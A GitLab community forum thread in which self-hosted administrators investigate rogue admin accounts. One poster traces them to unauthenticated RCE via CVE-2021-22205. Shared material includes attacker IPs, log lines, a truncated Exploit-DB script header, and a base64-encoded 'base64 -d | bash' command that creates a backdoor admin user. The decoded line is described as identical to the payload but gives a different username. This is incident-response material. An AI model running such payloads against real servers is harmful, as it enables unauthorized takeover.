Potentially serious vulnerability on self-hosted Gitlab

john.ettrich · September 20, 2021, 6:31pm

Hello,

Sorry if this isn’t the right thread but we have a self-hosted Gitlab CE installation and we believe it’s been attacked. There have been several users who have had their accounts locked out from too many attempts over the past few months, even though they are legacy users who didn’t use it. We turned on 2FA and deleted the legacy accounts. From then, there were only 2 user accounts in the installation.

Last Friday, we noticed some accounts with random names managed to appear, including one with admin access; we shutdown the server and tried to do a post-mortem. The api_json, application_json and audit_json logs all fail to reveal how these accounts showed up and even if/when/how they managed to get access. Additionally, the api_json log doesn’t seem to show the hackers being successful in doing a pull of our code; it’s as if the accounts showed up magically. What we did notice is that the accounts that showed up later had previously been failed login attempts. Is it possible Gitlab, upon a failed attempt, recorded them as users?

We did manage to be behind on updating and were on version 12. Is there any known vulnerability that allowed arbitrary user accounts to be created?

It’s a bit odd but I am not sure where to start. Is this something that should be logged as an issue? The support page pointed to the community forum.

Thank in advance to any help with this.

cedarbirthdaycakedog · September 23, 2021, 11:12am

I have seen the same on a customer’s private instance that was also on 12.
The account being created had full api and admin rights and we have no clue whether repositories were downloaded or not.

jsmith24 · October 11, 2021, 12:24am

We have also seen the same on the Sep 4th:

Member since: Sep 4, 2021 3:28pm
Confirmed at: Aug 11, 2021 4:46pm
Last sign-in IP: 103.97.200.11
Last sign-in at: Sep 4, 2021 3:28pm

Running version 13.7.0

Whois IP Lookup: APNIC Whois Search | APNIC

jsmith24 · October 12, 2021, 1:23am

So for anyone following in our instance the users where created using an (Unauthenticated) RCE being: CVE-2021-22205 : An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validati : Moral of the story, keep your private instances up to date and patched.

Details below if interested:

Usernames:
dexbcxh
dexbcxk
dexbcxi
dexbcx

IPS:
103.97.200.11
192.254.89.130
192.254.89.149
103.97.201.65
103.138.53.74
103.138.53.38
103.97.201.66
112.120.251.93

A successful attempt will appear in the access logs as:

logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:06 +0000] "GET /users/sign_in HTTP/1.1" 200 3708 "" "python-requests/2.25.1" 2.49
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:06 +0000] "POST /users/sign_in HTTP/1.1" 302 97 "" "python-requests/2.25.1" -
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:06 +0000] "GET / HTTP/1.1" 200 8920 "" "python-requests/2.25.1" 3.21
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:07 +0000] "GET /users/sign_in HTTP/1.1" 302 97 "" "python-requests/2.25.1" -
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:07 +0000] "GET / HTTP/1.1" 200 8917 "" "python-requests/2.25.1" 3.21
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:48 +0000] "POST /uploads/personal_snippet HTTP/1.1" 422 24 "https://domain.com/projects" "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);" -

The bug report:

The script used (It requires a username and password, but these Don’t need to be an existing valid user):

github.com

offensive-security/exploitdb/blob/1dc98b3b8ebb65274139f4c988efb20c6eccbb3a/exploits/ruby/webapps/49951.py

# Exploit Title: Gitlab 13.10.2 - Remote Code Execution (Authenticated)
# Date: 04/06/2021
# Exploit Author: enox
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/
# Version: < 13.10.3
# Tested On: Ubuntu 20.04
# Environment: Gitlab 13.10.2 CE
# Credits: https://hackerone.com/reports/1154542

import requests
from bs4 import BeautifulSoup
import random
import os
import argparse

parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument('-c', help='Command', required=True)

This file has been truncated. show original

In our case it was used to exec the following command

sh -c echo Z2l0bGFiLXJhaWxzIHJ1bm5lciAidXNlciA9IFVzZXIuY3JlYXRlKHVzZXJuYW1lOidhZG1pbnRlc3QnLHBhc3N3b3JkOicxMjM0NTY3OCcsZW1haWw6JyBhZG1pbnRlc3RAZ21haWwuY29tICcsbmFtZTonYWRtaW50ZXN0Jyxjb25maXJtZWRfYXQ6ICcyMDIxLTA4LTExIDE2OjQ2OjUzJyk7IHVzZXIuYWRtaW49dHJ1ZTsgdXNlci5zYXZlOyI= | base64 -d | bash

which is just the below base64 encoded

gitlab-rails runner "user = User.create(username:'dexbcx',password:'12345678',email:' dexbcx@gmail.com ',name:'dexbcx',confirmed_at: '2021-08-11 16:46:53'); user.admin=true; user.save;"

The gitlab issue:

ralfaro · November 4, 2021, 3:32pm

For reference this post will provide guidance in how to determine if a self-managed instance has been impacted.

Topic		Replies	Views
Gitlab server with CE has been compromised Self-managed security	7	4574	November 2, 2021
Security: many selfhosted instances probably hacked by 'johnyj12345' Self-managed	2	4255	July 15, 2020
Administrator account keeps getting deactivated on self-hosted install Self-managed security	3	1907	September 10, 2023
Can Gitlab CE accounts get hacked by a bruteforce/dictionary attack? Self-managed	0	2217	March 11, 2017
Logs for Password Reset Attempts? Self-managed	0	409	February 10, 2019

Potentially serious vulnerability on self-hosted Gitlab

Related topics